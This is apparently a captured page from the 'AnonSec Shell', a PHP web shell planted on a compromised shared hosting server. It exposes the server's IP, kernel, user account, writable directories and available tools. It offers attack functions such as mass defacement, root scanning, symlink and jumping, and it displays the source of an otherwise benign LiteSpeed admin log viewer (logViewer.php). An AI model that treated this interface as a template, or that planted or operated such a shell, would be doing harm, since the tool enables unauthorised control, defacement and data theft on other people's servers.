AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 3.138.123.240   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/admin/html.6.2.1/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/local/lsws/admin/html.6.2.1/service/logViewer.php
<?php
function genOptions($options, $selValue)
{
	$output = '';
	foreach ( $options as $key => $value )
	{
		$output .= '<option value="' . $key .'"';
		if ( $key === $selValue )
			$output .= ' selected';
		$output .= ">Display Level: $value</option>\n";
	}
	return $output;
}
$options = array('E'=>'ERROR', 'W'=>'WARNING',
			   'N'=>'NOTICE', 'I'=>'INFO', 'D'=>'DEBUG');
$service = new Service();
$data = $service->getLogData();
if ($data == NULL)
	return;
?>

<h2 class="bottom_bar">Server Log Viewer</h2>

<form name="logform" method='post'>
<input type="hidden" name="vl" value="1">
<div class="log_filter">
	<span><select name="sel_level" class="th-clr">
			<?php echo( genOptions($options, $data['level']) ); ?>
		</select></span>
	<span>Log Size: <?php echo $data['logSize'];?> KB</span>

	<span>Search from <input name="searchFrom" type="text" size="6" value="<?php echo $data['searchFrom'];?>">KB</span>

	<span>Length <input name="searchSize" type="text" size="6" value="<?php echo $data['searchSize'];?>">KB</span>
</div>

<div style="text-align:center; margin-bottom:15px">
<input type="submit" name="begin" value="&lt;&lt;" title="Begin">
<input type="submit" name="prev" value="&lt;" title="Prev">
<input type="submit" name="refresh" value="Refresh">
<input type="submit" name="next" value="&gt;" title="Next">
<input type="submit" name="end" value="&gt;&gt;" title="End">
</div>

<table class="xtbl log_tbl" border="0" cellpadding="5" cellspacing="1">
<?php

$res = $service->getLog($data);
echo '<caption>Retrieved '. number_format($res[0]) . ' of total ' . number_format($res[1]) . ' log entries.</caption>';

echo '<tr class="xtbl_title"><td class="col_time">Time</td><td class="col_level">Level</td><td class="col_mesg">Message</td></tr>';
echo $res[2];

?>
</table>

<div style="text-align:center; margin:20px auto">
<input type="submit" name="begin" value="&lt;&lt;" title="Begin">
<input type="submit" name="prev" value="&lt;" title="Prev">
<input type="submit" name="refresh" value="Refresh">
<input type="submit" name="next" value="&gt;" title="Next">
<input type="submit" name="end" value="&gt;&gt;" title="End">
</div>
</form>

Anon7 - 2022
AnonSec Team